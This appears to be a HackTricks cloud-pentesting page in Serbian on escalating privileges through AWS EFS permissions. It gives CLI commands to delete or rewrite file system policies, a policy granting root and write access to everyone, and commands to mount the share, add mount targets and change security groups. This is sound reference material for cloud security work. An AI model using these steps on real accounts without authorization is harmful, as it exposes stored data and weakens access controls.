# AWS - EFS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## EFS

Više **informacija o EFS** u:

{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}

Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen i imati pristup njemu (grupe bezbednosti). Ako se to dešava, po defaultu, uvek ćete moći da ga montirate, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatne dozvole navedene ovde da biste mu pristupili.

### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`

Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** ili jednostavno **izbrisati** tako da se **default pristup** odobri.

Da biste izbrisali politiku:
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
```
Da biste to promenili:
```json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`

Sa ovom dozvolom, napadač će moći da **montira EFS**. Ako dozvola za pisanje nije data podrazumevano svima koji mogu da montiraju EFS, imaće samo **pristup za čitanje**.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
```
Dodatne dozvole `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar datotečnog sistema nakon što je montiran i za **pristup** tom datotečnom sistemu **kao root**.

**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u datotečnom sistemu.

### `elasticfilesystem:CreateMountTarget`

Ako je napadač unutar **podmreže** gde **ne postoji montažna tačka** EFS-a. On bi mogao jednostavno **da kreira jednu u svojoj podmreži** sa ovom privilegijom:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.

### `elasticfilesystem:ModifyMountTargetSecurityGroups`

U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali **nema sigurnosne grupe koja dozvoljava saobraćaj**, mogao bi jednostavno **promeniti to modifikovanjem odabranih sigurnosnih grupa**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Potencijalni Uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu.

{{#include ../../../banners/hacktricks-training.md}}
